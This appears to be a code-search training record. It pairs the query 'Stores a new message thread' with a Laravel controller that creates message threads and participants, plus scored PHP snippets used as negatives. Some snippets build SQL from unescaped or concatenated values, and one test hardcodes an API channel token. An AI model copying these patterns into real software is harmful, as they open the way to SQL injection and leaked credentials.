"public function createMessage($task, $author, $subject, $prof, $work){\n\t\t $db = Yii::$app->db->createCommand();\n $db->insert('messages', [\n 'new_task' => $task,\n 'author' => $author,\n 'subject' => $subject,\n 'FK_Prof' => $prof,\n 'id_work' => $work,\n ])->execute();\n return true;\n\t}",
"public function addMessage()\n {\n if(null === $this->obj_message) {\n $this->obj_message = new Message();\n }\n return $this->obj_message;\n }",
"public function create()\n {\n $message =Messages::orderBy('created_at', 'desc')->get();\n $category =ProgramCatrgories::orderBy('program_category_name', 'asc')->get();\n return view('administrator.messages.create')->with([\n 'message' => $message,\n 'category' => $category,\n ]);\n }",
"public function create()\n {\n // die('here');\n return view('message.create');\n }",
"public function create($id=null)\n {\n //\n if(empty($id)){\n $msg = null;\n }else{\n $msg = Message::find($id);\n }\n return view('Message.create',['msg'=>$msg]);\n }",
"public function create()\n {\n return view('message_forums.create');\n }",
"private function _messageFor()\n {\n // First, get the message\n //$message_for = preg_match('^!messagefor-[$1]', $this->_data->message)\n //preg_match('/^!messagefor-(.*):/', '!messagefor-Mike I missed you', $matches); var_dump($matches);\n try {\n // Connect\n $dbh = $this->_connectToDb();\n\n // Insert\n $stmt = $dbh->prepare(\"INSERT INTO message(`nick`, `message`, `when`, `from`) VALUES (:nick, :message, NOW(), :from)\");\n\n $stmt->bindParam(':nick', $message_for, PDO::PARAM_STR);\n $stmt->bindParam(':message', $message_payload, PDO::PARAM_STR);\n $stmt->bindParam(':from', $this->_data->nick, PDO::PARAM_STR);\n\n $stmt->execute();\n\n $dbh = null;\n\n }\n catch(PDOException $e)\n {\n echo $e->getMessage();\n }\n }",
"public function testCreateMessage()\n {\n $config = new Configuration();\n// $config->setHost(\"http://127.0.0.1:8080\");\n $apiInstance = new DaDaPushMessageApi(\n // If you want use custom http client, pass your client which implements `GuzzleHttp\\ClientInterface`.\n // This is optional, `GuzzleHttp\\Client` will be used as default.\n new \\GuzzleHttp\\Client(),\n $config\n );\n\n $actions = [\n new Action($data = array(\"name\" => \"view\", \"url\" => \"https://www.dadapush.com/\", \"type\" => \"link\"))\n ];\n\n $body = new MessagePushRequest($data = array(\"title\" => \"Good News!\",\n \"content\" => \"Good News! DaDaPush releasing new version\",\n \"need_push\" => true,\n \"actions\" => $actions\n ));\n\n $channel_token = 'ctb3lwO6AeiZOwqZgp8BE8980FdNgp0cp6MCf';\n\n $result = $apiInstance->createMessage($body, $channel_token);\n print_r($result);\n self::assertTrue($result->getCode()==0);\n }",
"public function testMessageThreadsV2Get()\n {\n }"
]
| [
"0.6624191",
"0.6603578",
"0.63497925",
"0.6233245",
"0.61757743",
"0.6160493",
"0.6052556",
"0.6036705",
"0.59514105",
"0.59141654",
"0.59064436",
"0.5904021",
"0.58788687",
"0.585951",
"0.5853825",
"0.580912",
"0.5761547",
"0.5750315",
"0.57308924",
"0.5723112",
"0.5690702",
"0.5660674",
"0.56391907",
"0.56265056",
"0.56252605",
"0.56149584",
"0.56148285",
"0.5582132",
"0.55503076",
"0.55473506",
"0.55442697",
"0.552819",
"0.5511549",
"0.5503844",
"0.54908824",
"0.5461851",
"0.54611",
"0.54550636",
"0.5445277",
"0.5427986",
"0.5424134",
"0.54218733",
"0.540467",
"0.5368193",
"0.5352409",
"0.53439087",
"0.5340086",
"0.53149456",
"0.5288613",
"0.5287792",
"0.52724385",
"0.5269407",
"0.5266705",
"0.5259898",
"0.524295",
"0.52096575",
"0.52090377",
"0.5206889",
"0.5201962",
"0.5196375",
"0.51928216",
"0.5189531",
"0.5188201",
"0.5188201",
"0.5188201",
"0.5188201",
"0.5188201",
"0.5188201",
"0.5164423",
"0.5164097",
"0.5161308",
"0.5151061",
"0.51349014",
"0.5131223",
"0.51196325",
"0.5097894",
"0.509749",
"0.5095525",
"0.50903505",
"0.5084218",
"0.50831175",
"0.50768644",
"0.50704306",
"0.5067584",
"0.50553834",
"0.50548613",
"0.5053451",
"0.50455225",
"0.50445056",
"0.5042539",
"0.50411904",
"0.5036964",
"0.503415",
"0.5019668",
"0.5019408",
"0.5009183",
"0.5001452",
"0.49951488",
"0.49859393",
"0.4976319",
"0.4962716"
]
| 0.0 | -1 |
Stores a new message thread | public function store(Request $request)
{
$input = Input::all();
// dd($input);
$rules = array(
'recipients' => 'required',
'subject' => 'required',
'message' => 'required'
);
//validate
$validator = \Validator::make(Input::all(), $rules);
if ($validator->fails()) {
return \Redirect::back()->withErrors($validator)->withInput();
}
if (Auth::user()->isBankUser()) {
$user_id = Loan::find($input['loanId']);
if (isset($input['loanId']) && $input['loanId'] != '') {
$thread = Thread::Create([
'loan_id' => $input['loanId'],
'subject' => $input['subject'],
]);
if (Input::has('recipients')) {
$message = Participant::Create([
'thread_id' => $thread->id,
'from_user_id' => Auth::getUser()->id,
'user_id' => $user_id->user_id,
'body' => $input['message'],
'source' => 'bank',
]);
}
} else {
$thread = Thread::Create([
'loan_id' => null,
'subject' => $input['subject'],
]);
if (Input::has('recipients')) {
foreach ($input['recipients'] as $user_id) {
$message = Participant::Create([
'thread_id' => $thread->id,
'from_user_id' => Auth::getUser()->id,
'user_id' => $user_id->user_id,
'body' => $input['message'],
'source' => 'normal',
]);
}
}
}
}
elseif (Auth::user()->isSME() || Auth::user()->isCA()) {
if (isset($input['loanId']) && $input['loanId'] != '') {
$thread = Thread::Create([
'loan_id' => $input['loanId'],
'subject' => $input['subject'],
]);
$message = Participant::Create([
'thread_id' => $thread->id,
'from_user_id' => Auth::getUser()->id,
'user_id' => -1,
'body' => $input['message'],
'source' => 'bank',
]);
} else {
$thread = Thread::Create([
'loan_id' => null,
'subject' => $input['subject'],
]);
$message = Participant::Create([
'thread_id' => $thread->id,
'from_user_id' => Auth::getUser()->id,
'user_id' => -1,
'body' => $input['message'],
'source' => 'normal',
]);
}
} else {
if (isset($input['loanId']) && $input['loanId'] != '') {
$thread = Thread::Create([
'loan_id' => $input['loanId'],
'subject' => $input['subject'],
]);
if (Input::has('recipients')) {
foreach ($input['recipients'] as $user_id) {
$message = Participant::Create([
'thread_id' => $thread->id,
'from_user_id' => Auth::getUser()->id,
'user_id' => $user_id,
'body' => $input['message'],
'source' => 'bank',
]);
}
}
} else {
$thread = Thread::Create([
'loan_id' => null,
'subject' => $input['subject'],
]);
if (Input::has('recipients')) {
foreach ($input['recipients'] as $user_id) {
$message = Participant::Create([
'thread_id' => $thread->id,
'from_user_id' => Auth::getUser()->id,
'user_id' => $user_id,
'body' => $input['message'],
'source' => 'normal',
]);
}
}
}
}
if ($request->file('upload_file')) {
$file = $request->file('upload_file');
$directory = 'Threads';
$originalFileName = $file->getClientOriginalName();
$uploadedFileName = $directory. '/'. 'thread_' . $message->id . '-' . $originalFileName;
$oldFileName = null;
if (isset($message) && !empty($message->upload_file)) {
$oldFileName = $message->upload_file;
}
$fileHelper = new FileHelper();
$fileHelper->uploadFile($directory, $uploadedFileName, File::get($file), $oldFileName);
$message->upload_file = $uploadedFileName;
$message->save();
}
$sender = Auth::getUser();
if (Auth::user()->isBankUser()) {
$user_id = Loan::find($input['loanId']);
$receiver = User::find($user_id->user_id);
}
else {
foreach ($input['recipients'] as $user_id) {
$receiver = User::find($user_id);
}
}
if (isset($input['loanId']) && $input['loanId'] != '') {
$loan = Loan::find($input['loanId']);
if (Auth::user()->isAnalyst()) {
$loanStatus = LoansStatus::where('loan_id','=',$input['loanId'])->get()->first();
if(isset($loanStatus) && count($loanStatus) > 0) {
$loanStatus->niwas_query_status = 'Y';
$loanStatus->save();
}
} elseif (Auth::user()->isBankUser()) {
$loanStatus = LoansBankAllocation::where('loan_id','=',$input['loanId'])->where('bank_id','=',Auth::user()->bank_id)->get()->first();
if(isset($loanStatus) && count($loanStatus) > 0) {
$loanStatus->bank_query_status = 'Y';
$loanStatus->save();
}
}
// $loan->status = "5";
// $loan->save();
$this->sendMail('emails.querymail',array('from' => $sender->email,'to' => $receiver->email,'loanID' => $input['loanId'],'subject' => $input['subject'],'bodyMessage' => $input['message']), $sender->email, 'Query Message From SMENiwas!');
$this->sendMail('emails.querymail', array('from' => $sender->email, 'to' => $receiver->email, 'loanID' => $input['loanId'], 'subject' => $input['subject'], 'bodyMessage' => $input['message']), $receiver->email, 'Query Message From SMENiwas!');
$confParam = new ConfigurableParameter();
$message = $confParam->getParamValueOrDefault('sms_template','Received Query');
if(isset($receiver)){
$userProfile = $receiver->userProfile();
if(isset($userProfile) && isset($userProfile->contact1)){
$mobileNumber = $userProfile->contact1;
$this->sendSMS($mobileNumber, $message);
}
}
}
if(isset($input['loanId']) && $input['loanId'] != '') {
session()->flash('flash_message','Query has been sent successfully!');
return redirect('home');
}
else {
session()->flash('flash_message','Query has been sent successfully!');
return redirect('messaging');
}
} | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"function postNewMessage($user_id, $thread_id, $message)\n\t\t{\n\t\t\t$query=sqlite_exec($this->connection, \"INSERT INTO message(thread_id, user_id, message, date) VALUES($thread_id, $user_id, $message, NOW())\");\n\t\t}",
"public function store($channelID, Request $request, Thread $thread)\n {\n //Validate incoming request\n $request->validate([\n 'reply' => 'required',\n ]);\n\n //Make a reply object and associate with the thread\n $thread->addReply([\n 'reply'=> request('reply'),\n 'expert_id' => auth('expert')->user()->id,\n ]);\n\n return back();\n }",
"public function store(Request $request, Thread $thread)\n {\n $message = Message::create(['sender_id' => auth()->id(), 'receiver_id' => request('receiver_id'), \n 'message' => request('message'), 'thread_id' => $thread->id]);\n\n User::findOrFail(request('receiver_id'))->notify(new NewChatMessage($message));\n\n broadcast(new NewMessage($message))->toOthers();\n\n return response(['message' => $message], 200);\n }",
"public function store(Thread $thread)\n {\n $thread->update(['locked' => true]);\n }",
"public function store()\n {\n $input = Input::all();\n $thread = Thread::create([\n 'subject' => $input['subject'],\n ]);\n\n // Message\n Message::create([\n 'thread_id' => $thread->id,\n 'user_id' => Auth::id(),\n 'body' => $input['message'],\n ]);\n\n // Sender\n Participant::create([\n 'thread_id' => $thread->id,\n 'user_id' => Auth::id(),\n 'last_read' => new Carbon,\n ]);\n\n // Recipients\n $thread->addParticipant($input['recipient']);\n\n return redirect()->route('messages.show', $thread->id);\n }",
"public function store($channel, Thread $thread)\n {\n $thread->subscribe();\n }",
"public function testMessageThreadsV2MarkThread()\n {\n }",
"public function store()\n {\n DB::transaction(function () {\n\n $url = null;\n\n if (request()->hasFile('file')) {\n $url = $this->files();\n }\n\n\n\n $this->thread = Thread::create([\n 'subject' => bin2hex(random_bytes(10)),\n ]);\n\n // Message\n $this->message = Message::create([\n 'thread_id' => $this->thread->id,\n 'user_id' => request()->user()->id,\n 'body' => request()->body ?? null,\n 'file_url' => $url ?? null,\n 'type' => request()->type ?? null\n ]);\n\n // Sender\n Participant::create([\n 'thread_id' => $this->thread->id,\n 'user_id' => request()->user()->id,\n 'last_read' => new Carbon,\n ]);\n\n // Recipients\n if (request()->has('recipients')) {\n $this->thread->addParticipant((int) request()->recipients);\n }\n });\n\n /**\n * dispatches an event\n */\n event(new NewMessage(\n [\n 'id' => $this->thread->id,\n 'users' => $this->thread->users,\n 'participants' => $this->thread->participants,\n 'extras' => collect($this->thread->users)->map(function ($user) {\n return [\n 'profile_picture' => $user->profilePictures()->latest('created_at')->first(),\n 'count' => $this->thread->userUnreadMessagesCount($user->id),\n 'user_id' => $user->id\n ];\n }),\n 'messages' => $this->thread->messages\n ]\n ));\n\n\n return new ThreadResource($this->thread);\n }",
"public function store(ThreadRequest $request)\n {\n $request->merge(['user_id' => auth()->id()]);\n $thread = $this->repository->create($request->all());\n\n $thread->creator->notify(new SendSlackThread($thread));\n\n return redirect($thread->path);\n }",
"public function store(StoreThread $form)//\n {\n $channel = collect(config('channel'))->keyby('id')->get($form->channel_id);\n if(!$channel||!auth('api')->user()){abort(404);}\n\n if(auth('api')->user()->no_posting){abort(403,'禁言中');}\n\n if($channel->type==='book'&&(auth('api')->user()->level<1||auth('api')->user()->quiz_level<1)&&!auth('api')->user()->isAdmin()){abort(403,'发布书籍,必须用户等级1以上,答题等级1以上');}\n\n if($channel->type<>'book'&&(auth('api')->user()->level<4||auth('api')->user()->quiz_level<2)&&!auth('api')->user()->isAdmin()){abort(403,'发布非书籍主题,必须用户等级4以上,答题等级2以上');}\n\n if(!$channel->is_public&&!auth('api')->user()->canSeeChannel($channel->id)){abort(403,'不能访问这个channel');}\n\n if(!auth('api')->user()->isAdmin()&&Cache::has('created-thread-' . auth('api')->id())){abort(410,\"不能短时间频繁建立新主题\");}\n\n //针对创建清单进行一个数值的限制\n if($channel->type==='list'){\n $list_count = Thread::where('user_id', auth('api')->id())->withType('list')->count();\n if($list_count > auth('api')->user()->user_level){abort(410,'额度不足,不能创建更多清单');}\n }\n if($channel->type==='box'){\n $box_count = Thread::where('user_id', auth('api')->id())->withType('box')->count();\n if($box_count >=1){abort(410,'目前每个人只能建立一个问题箱');}\n }\n\n $thread = $form->generateThread($channel);\n\n Cache::put('created-thread-' . auth('api')->id(), true, 10);\n\n if($channel->type==='list'&&auth('api')->user()->info->default_list_id===0){\n auth('api')->user()->info->update(['default_list_id'=>$thread->id]);\n }\n if($channel->type==='box'&&auth('api')->user()->info->default_box_id===0){\n auth('api')->user()->info->update(['default_box_id'=>$thread->id]);\n }\n\n $thread = $this->threadProfile($thread->id);\n\n return response()->success(new ThreadProfileResource($thread));\n }",
"function store($channelId, Thread $thread, CreatePostRequest $form){\n\n\t\t// #54 remove all codes to $form CreatePostForm\n\t\t\n\t\t// if(Gate::denies('create', new Reply)){\n\t\t// \treturn response(\n\t\t// \t\t'Та дахин дахин нийтлэл оруулж байна, Түр хүлээнэ үү! :)', 429);\n\t\t// } \n\t\t// request()->validate(['body' => 'required|spamfree']);\n\t\t\n\t\treturn $thread->addReply([\t\n\t\t\t'body' => request('body'), \t\t\t\t\n\t\t\t'user_id' => auth()->id()\t\t\t\n\t\t])->load('owner');\n\n\t}",
"public function create()\n\t{\n\n\t\t$post = $this->store('create', '/thread/new');\n\n\t\tredirect('/threads?id=' . $post->id);\n\t}",
"protected static function newMessage()\n {\n self::$message = \\Swift_Message::newInstance();\n }",
"public function store(ThreadRequest $request)\n {\n Auth::user()->saveThread(Thread::new($request));\n\n return redirect()->route('threads.index')\n ->with('flash', 'Your thread has been published.');\n }",
"function setMessage(string $msg, string $type)\n {\n global $CT;\n \n $_SESSION['msgs'][] = array(\n \"type\" => $type,\n \"msg\" => $msg\n );\n }",
"public function store($channelId, Thread $thread, CreatePostRequest $request)\n {\n return $thread->addReply([\n 'user_id' => Auth::user()->id,\n 'body' => request('body'),\n ])->load('owner');\n }",
"function addThread()\n{\n\tif(!isset($db) || $db = NULL || !isset($connection) || $connection = NULL)\n\t{\n\t\t$db = new Database();\n\t\t$connection = $db->mysqli_db_connect();\n\t}\n\t\n\t// Re initialize the Board class\n\tif(!isset($main) || $main = NULL)\n\t{\n\t\t$main = new Board($db, $connection);\n\t}\n\t\n\tif(isset($_SESSION['angemeldet']) && $_SESSION['angemeldet'] == true || $main->boardConfig($main->getThreadBoardID($_GET['threadID']), \"guest_posts\"))\n\t{\n\n\t\tglobal $threadAddStatusArray;\n\t\tglobal $largestNumber;\n\n\t\t$threadAddStatus = false;\n\n\t\t$_SESSION['ID'] = session_id();\n\t\t$getAuthorID = $db->query(\"SELECT id FROM $db->table_accounts WHERE sid=('\".$_SESSION['ID'].\"')\");\n\n\t\twhile ($authorID = mysqli_fetch_object($getAuthorID)) {\n\t\t\t$authorIDResult = $authorID->id;\n\t\t}\n\n\t\t// VARS\n\n\t\t// BOARD ID\n\t\tif(isset($_GET['boardview']) && !isset($_GET['threadID'])) {\n\t\t\t$actualBoard = mysqli_real_escape_string($GLOBALS['connection'], $_GET['boardview']);\n\t\t} else {\n\t\t\t$getBoard = $db->query(\"SELECT main_forum_id FROM $db->table_thread WHERE id=('\".$actualThread.\"')\");\n\t\t\t\n\t\t\twhile($boardIDData = mysqli_fetch_object($getBoard)) {\n\t\t\t\t$actualBoard = $boardIDData->main_forum_id;\n\t\t\t}\n\t\t}\n\n\t\tif ((empty($_POST[\"threadAddArea\"])) || (empty($_POST[\"threadTitleInput\"]))) {\n\t\t\techo 'Sie haben nicht alle benötigten Informationen eingegeben!';\n\n\t\t} else {\n\n\t\t\t$newThreadTitle = mysqli_real_escape_string($GLOBALS['connection'], $_POST[\"threadTitleInput\"]);\n\t\t\t$content \t\t= mysqli_real_escape_string($GLOBALS['connection'], $_POST[\"threadAddArea\"]);\n\n\t\t\tif (! isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {\n\t\t\t$client_ip = $_SERVER['REMOTE_ADDR'];\n\t\t\t}\n\t\t\telse {\n\t\t\t$client_ip = $_SERVER['HTTP_X_FORWARDED_FOR'];\n\t\t\t}\n\n\t\t\tif (strlen($newThreadTitle) \n\t\t\t< 3) {\n\t\t\techo 'Der Titel muss mindestens 3 Zeichen besitzen.';\n\t\t\treturn;\n\t\t\t};\n\n\t\t\tif (strlen($newThreadTitle) >\n\t\t\t200) {\n\t\t\techo 'Der eingegebene Titel ist zu lang. Er darf maximal 200 Zeichen beinhalten.';\n\t\t\treturn;\n\t\t\t};\n\n\t\t\tif (strlen($content) \n\t\t\t< 30) {\n\t\t\techo 'Ihr Beitrag muss mindestens 30 Zeichen besitzen.';\n\t\t\treturn;\n\t\t\t};\n\n\t\t\tif (strlen($content) >\n\t\t\t30000) {\n\t\t\techo 'Ihr Beitrag ist zu lang. Er darf maximal 30000 Zeichen beinhalten.';\n\t\t\treturn;\n\t\t\t};\n\n\t\t\tif (strlen(trim($content)) == 0) {\n\t\t\techo 'Ihr Beitrag darf nicht ausschließlich aus Leerzeichen bestehen!';\n\t\t\treturn;\n\t\t\t};\n\n\t\t\t$insertTime = time();\n\n\n\t\t\t$db->query(\"INSERT INTO $db->table_thread (main_forum_id, title, date_created, last_replyTime,last_post_author_id, posts, author_id) VALUES ('\".$actualBoard.\"', '\".$newThreadTitle.\"', '\".$insertTime.\"', '\".$insertTime.\"','\".$authorIDResult.\"', '0', '\".$authorIDResult.\"')\");\n\t\t\t$db->query(\"INSERT INTO $db->table_thread_posts (thread_id, author_id, date_posted, text) VALUES ((SELECT id FROM $db->table_thread WHERE id=(SELECT max(id) FROM $db->table_thread)), '\".$authorIDResult.\"', '\".$insertTime.\"', '\".$content.\"')\");\n\t\t\t$db->query(\"UPDATE $db->table_accdata SET post_counter=post_counter+1 WHERE account_id=(SELECT id FROM $db->table_accounts WHERE sid=('\".$_SESSION['ID'].\"'))\");\n\t\t\t$db->query(\"UPDATE $db->table_thread SET last_activity=0 WHERE last_activity=1 AND main_forum_id=('\".$actualBoard.\"')\");\n\n\t\t\t$token = mysqli_real_escape_string($GLOBALS['connection'], $_GET['token']);\n\n\t\t\t$tokenCheck = $db->query(\"SELECT token FROM $db->table_thread_saves WHERE token = ('\".$token.\"') AND user_id = (SELECT id FROM $db->table_accounts WHERE sid=('\" . $_SESSION['ID'] . \"'))\");\n\t\t\tif(isset($_GET['token']) && !empty($_GET['token']) && mysqli_num_rows($tokenCheck) >= 1) $db->query(\"DELETE FROM $db->table_thread_saves WHERE token = ('\".$token.\"') AND user_id = (SELECT id FROM $db->table_accounts WHERE sid=('\" . $_SESSION['ID'] . \"'))\");\n\n\t\t\t$rowSQL = $db->query( \"SELECT MAX( id ) AS max FROM $db->table_thread\" );\n\t\t\t$row = mysqli_fetch_array( $rowSQL );\n\t\t\t$largestNumber = $row['max'];\n\t\t\t$db->query(\"UPDATE $db->table_thread SET last_activity=1 WHERE last_activity=0 AND id=('\".$largestNumber.\"')\");\n\n\t\t\t$threadAddStatus = true;\n\t\t}\n\t\t\t$threadAddStatusArray = array(\n\t\t\t'threadAddStatus' => $threadAddStatus, \n\t\t\t'newThreadID' => $largestNumber\n\t\t\t);\n\t\t\t\n\t\t\t\treturn $threadAddStatusArray;\n\t}\n\telse\n\t\treturn;\n}",
"public function store(ThreadRequest $request) {\n $thread = new Thread;\n \t$thread->title = $request->input('title');\n \t$thread->category = $request->input('category');\n $thread->user_id = Auth::user()->id;\n $thread->save();\n\n $post = new Post;\n $post->title = $request->input('title');\n $post->message = $request->input('message');\n $post->user_id = Auth::user()->id;\n $post->thread_id = $thread->id;\n $post->save();\n\n \treturn redirect('threads/'.$thread->id);\n }",
"public function store(Request $request)\n {\n $message = new MessageThreadMessage($request->all());\n $message->thread_id = $request->input('threadId');\n $message->user_id = Auth::user()->id;\n $message->save();\n // TODO: Reload user for data sent back to client\n $message->load('postedBy');\n // TODO: If there's an attachment, add it\n return response()->json($message);\n }",
"function set_message($type, $message)\n{\n $_SESSION[$type] = $message;\n $_SESSION[$type . '_time'] = time();\n}",
"public function addMessage($message)\n {\n $this->storage[] = $message;\n }",
"public function addMessage($message, $type) {\n\t\t$messages = $_SESSION[$this->sessionKey];\n\t\t\n\t\t$messages[] = [\n\t\t\t'message' => $message,\n\t\t\t'type' => $type,\n\t\t];\n\t\t\n\t\t$_SESSION[$this->sessionKey] = $messages;\n\t}",
"public function actionSave()\n\t{\n\t\t// we will get called again from\n\t\t// Tinhte_XenTag_XenForo_DataWriter_Discussion_Thread::_discussionPreSave()\n\t\t$GLOBALS[Tinhte_XenTag_Constants::GLOBALS_CONTROLLERPUBLIC_THREAD_SAVE] = $this;\n\n\t\treturn parent::actionSave();\n\t}",
"public function created(Thread $thread)\n {\n $thread->user->recordActivity('created a new thread:', $thread);\n }",
"public function store(StoreThread $form)//\n {\n $channel = $form->channel();\n if(empty($channel)||((!$channel->is_public)&&(!auth('api')->user()->canSeeChannel($channel->id)))){abort(403);}\n\n //针对创建清单进行一个数值的限制\n if($channel->type==='list'){\n $list_count = Thread::where('user_id', auth('api')->id())->withType('list')->count();\n if($list_count > auth('api')->user()->user_level){abort(403);}\n }\n if($channel->type==='box'){\n $box_count = Thread::where('user_id', auth('api')->id())->withType('box')->count();\n if($box_count >=1){abort(403);}//暂时每个人只能建立一个问题箱\n }\n $thread = $form->generateThread();\n return response()->success(new ThreadProfileResource($thread));\n }",
"function tn_add_message( $type, $message ) {\n\t$m = TN_Messages::get_instance();\n\t$m->add_message( array( $type => $message ) );\n}",
"public function store(Request $request)\n {\n $this->validate($request, [\n 'topic' => 'required|min:10',\n 'question' => 'required|min:100'\n ]);\n\n $topic = $this->addTopic($request->input('topic'));\n\n if($topic != null) {\n $thread = new Thread;\n $thread->user_id = $this->currentUser()->id;\n $thread->id_topic = $topic->id;\n $thread->question = $request->input('question');\n\n $log = null;\n if($thread->save()) {\n $log = Common::registerLog([\n 'action' => \"membuat diskusi baru.\",\n 'target' => 'thread',\n 'prefix' => 't-create',\n 'target_id' => $thread->id,\n 'actor' => 'user',\n 'actor_id' => Common::currentUser('web')->id\n ]);\n }\n\n if($log != null && $log == true) {\n return redirect(route('user.thread.index'))->with('success', 'Pertanyaan dikirim !');\n }\n return redirect()->back()->with('failed', 'Gagal mengirim pertanyaan, silahkan coba lagi nanti.');\n }\n return redirect()->back()->with('failed', 'Gagal mengirim pertanyaan, silahkan coba lagi nanti.');\n }",
"public function store(Request $request)\n {\n $thread = new Thread();\n $thread->category_id = $request->category;\n $thread->title = $request->title;\n $thread->body = $request->body;\n $thread->user_id = auth()->id();\n $isSave = $thread->save();\n }",
"public function store($channelId, Thread $thread)\n {\n if ($thread->locked) {\n return response(\"Thread is locked\", 422);\n }\n\n try {\n if (Gate::denies('create', new Reply)) {\n return response(\"You are posting too freaquently, Please take a break :)\", 422);\n }\n\n $this->validate(request(), ['body' => ['required', new SpamFree]]);\n\n $reply = $thread->addReply([\n 'body' => request('body'),\n 'user_id' => auth()->id()\n ]);\n } catch (\\Exception $e) {\n return response(\"Sorry, your request could not be saved at the moment.\", 422);\n }\n\n return $reply->load('owner');\n }",
"public function write() {\n\t\t$this->loadModel('Thread');\n\t\tif ($this->request->is('post')) {\n $this->Thread->set('user_id', $this->Auth->user('id'));\n $this->Thread->set('forums_id', $this->params['pass'][0]);\n if ($this->Thread->save($this->request->data)) {\n $this->Session->setFlash('Din tråd har sparats.');\n $this->redirect(array('action' => 'index'));\n } else {\n $this->Session->setFlash('Kunde inte spara tråden.');\n }\n }\n\t}",
"public function push() {\r\n\t$clone = clone($this);\r\n\t$clone->position = count($_SESSION[\"STATE\"][$this->thread]);\r\n\t$_SESSION[\"STATE\"][$this->thread][$clone->position] = serialize($clone);\r\n\treturn $clone;\r\n}",
"function save() {\n \tfile_put_contents(\"threads/{$this->id}\", serialize($this));\n }",
"public function store($type='create', $redirect_url='/')\n\t{\n\n\t\tif(!is_logged())\n\t\t\tforbidden();\n\n\t\tif($type=='save' || $type=='reply'){\n\n\t\t\t$id = post_int('id', false);\n\n\t\t\tif(!$id) die('Invalid post');\n\n\t\t\t$post = Thread::find($id);\n\n\t\t}\n\n\t\t$rules['body'] = 'text|min:2';\n\n\t\tif($title = post_string('title', false))\n\t\t\t$rules['title'] = 'text|min:2';\n\n\t\tif($id)\n\t\t\t$redirect_url = str_replace('_id_', $id, $redirect_url);\n\n\t\t$valid = $this->validate($rules, $redirect_url);\n\n\t\tif($title)\n\t\t\t$data['title'] = sanitize_string($_POST['title']);\n\n\t\t$data['body'] = sanitize_richtext($_POST['body']);\n\n\t\t$data['topic_id'] = post_int('topic_id', null);\n\n\t\tif($type=='save'){\n\n\t\t\tThread::update($data, ['id' => $id]);\n\n\t\t\treturn $post;\n\n\t\t}elseif($type=='reply'){\n\n\t\t\t$data['user_id'] = user()->id;\n\n\t\t\t$data['parent_id'] = $id;\n\n\t\t\treturn Thread::create($data);\n\n\n\t\t}else{\n\n\t\t\t$data['user_id'] = user()->id;\n\n\t\t\treturn Thread::create($data);\n\t\t}\n\t\n\t}",
"function record_message($message) {\n global $messages;\n array_push($messages, $message);\n}",
"final public function post_thread(Thread $thread) {\r\n\t\tif ($this->user_id && $thread->thread_text && $thread->type) {\r\n\t\t\tif ($thread->type == 1) {\r\n\t\t\t\t$sql = \"INSERT INTO `threads` (thread_text, author_id, date_posted, type, date_play) VALUES ('$thread->thread_text', '$this->user_id', NOW(), '$thread->type', '$thread->date_play')\";\r\n\t\t\t}\r\n\t\t\telse {\r\n\t\t\t\t$sql = \"INSERT INTO `threads` (thread_text, author_id, date_posted, type) VALUES ('$thread->thread_text', '$this->user_id', NOW(), '$thread->type')\";\r\n\t\t\t}\r\n\t\t\t$result = $this->dbc->query($sql)\r\n\t\t\tor die ($this->dbc->error);\r\n\t\t\t$thread->thread_id = $this->dbc->insert_id;\r\n\r\n\t\t\t//Push the action\r\n\t\t\t$action = new PostedThread(array(\r\n\t\t\t\t'thread' => $thread,\r\n\t\t\t\t'poster' => clone $this)\r\n\t\t\t);\r\n\t\t\tActionPusher::push_action($action);\r\n\t\t\treturn $thread;\r\n\t\t}\r\n\t\telse {\r\n\t\t\tthrow new UnexpectedValueException('UnexpectedValueException occured on method call post_thread');\r\n\t\t}\r\n\t}",
"public function store(StoreThread $request, Thread $thread)\n {\n if ($thread->store()) {\n return redirect('/threads/'.$thread->slug);\n }\n\n return back()->withErrors('Failed to store your threads.');\n }",
"function post_new_reply() {\n\tglobal $core, $document, $user, $boards, $threads, $posts, $db;\n\n\tif (!isset($_POST['thread_id']) || !isset($_POST['board_id']) || !isset($_POST['post_name']) || !isset($_POST['post_message'])) {\n\t\tfatal_error(\"Some or all of the information needed to post a new message are missing. Please try again\");\n\t}\n\n\t//Make fields safe\n\t$boardid = make_safe(\"int\",$_POST['board_id']);\n\t$threadid = make_safe(\"int\",$_POST['thread_id']);\n\t$postname = make_safe(\"text\",$_POST['post_name']);\n\t$postmessage = make_safe(\"text\",$_POST['post_message']);\n\n\t//Sanity check fields\n\tif (strlen($postname) < 2 || strlen($postmessage) < 10) { \n\t\tfatal_error(\"Your message title or message text is too short. Please try again\");\n\t}\n\tif (!$boards->get_board($boardid)) {\n\t\tfatal_error(\"Invalid board specified. Please try again\");\n\t} \n\tif (!$threads->get_thread($threadid)) {\n\t\tfatal_error(\"Invalid thread specified. Please try again\");\n\t}\n\n\t//Now post the message\n\t$posts->new_post($user->get(\"user_id\"),$boardid,$threadid,$postname,$postmessage);\n\n\t//Now go back to the forum\n\t$core->do_redirect(\"forumdisplay.php?f=$boardid\");\t\t\n}",
"public function store(Request $request)\n {\n $details = $request->only('body', 'thread');\n $user = $request->user();\n\n $message = new MessageThreadMessages;\n $message->body = $details['body'];\n $message->message_thread_id = $details['thread'];\n $message->user_id = $user->id;\n $message->time_sent = now();\n $message->save();\n\n return response()->json($message);\n }",
"public function store($channelId, Thread $thread, CreatePostForm $form)\n {\n if ($reply = $form->persist($thread)) {\n return response([\n 'success' => 'Your reply has been left.',\n 'reply' => $reply->load('user')\n ]);\n }\n }",
"public function store(CreateMessageForumRequest $request)\n {\n\n $user = Auth::user();\n $sujet = $this->sujetForumRepository->findWithoutFail($request->sujet_forums_id);\n\n // create a MessageForum object \n $message = new MessageForum();\n $message->content= $request->content;\n $message->sujet()->associate($sujet);\n $message->user()->associate($user);\n $message->save(); \n\n Flash::success('Message enregistré avec succès.');\n return Redirect::back();\n }",
"function add_message($msg, $msg_type = MSG_TYPE_SUCCESS) {\n if (!isset($_SESSION['message']))\n $_SESSION['message'] = [];\n $_SESSION['message'][] = ['type' => $msg_type, 'message' => htmlentities($msg, ENT_QUOTES)];\n}",
